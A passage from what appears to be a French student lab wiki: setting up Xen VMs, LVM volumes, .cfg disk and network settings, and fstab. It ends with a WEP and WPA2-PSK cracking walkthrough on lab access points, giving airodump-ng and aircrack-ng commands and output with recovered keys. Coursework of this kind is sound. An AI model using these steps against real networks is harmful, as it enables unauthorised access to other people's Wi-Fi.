* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
=== VM de service (serveurs) ===&lt;br /&gt;
&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
=== VM mandataire (gateway) ===&lt;br /&gt;
&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne &lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
là&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
